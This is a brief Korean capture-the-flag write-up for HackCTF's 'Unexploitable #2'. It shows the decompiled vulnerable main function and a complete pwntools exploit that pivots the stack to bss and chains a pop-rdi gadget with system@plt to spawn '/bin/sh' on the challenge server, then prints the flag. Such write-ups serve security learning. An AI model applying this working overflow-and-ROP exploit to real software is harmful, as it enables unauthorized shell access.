Unexploitable #2

Disassembly 디스어셈블리

---

undefined8 main(void)
{
    char *s;
    
    setvbuf(_reloc.stdout, 0, 2, 0);
    setvbuf(_reloc.stdin, 0, 2, 0);
    fwrite("Hard RTL ha? You don\'t even have fflush@dynstr!\n", 1, 0x30, _reloc.stdout);
    fgets(&s, 0x40, _reloc.stdin);
    return 0;
}

Unexploitable #1에서 fflush가 사라진 것을 제외하면 같은 문제이다.

Return Oriented Programming

---

이전 문제에서 fflush를 이용하지 않고 해결했기 때문에, 같은 풀이를 사용했다.

Code

from pwn import *

binary = "./Unexploitable_2"
server = "ctf.j0n9hyun.xyz"
port = 3029

# context.log_level = 'debug'
context.binary = binary

if True:
	p = remote(server, port)
else:
	p = process(binary)
	gdb.attach(p)

e = ELF(binary)
r = ROP(e)

e.checksec()

prdi = (r.find_gadget(['pop rdi', 'ret']))[0]

main = e.symbols["main"]
system_plt = e.plt["system"]
bss = e.bss()

payload = b"A"*0x10
payload += p64(bss+0x800)
payload += p64(main+0x62)
p.sendlineafter("\n", payload)

payload = b"A"*0x18
payload += p64(prdi)
payload += b"/bin/sh\x00"
payload += p64(prdi)
payload += p64(bss+0x810)
payload += p64(system_plt)
p.sendline(payload)

p.interactive()

Flag

HackCTF{u5e_syst3m_t0_get_le4k}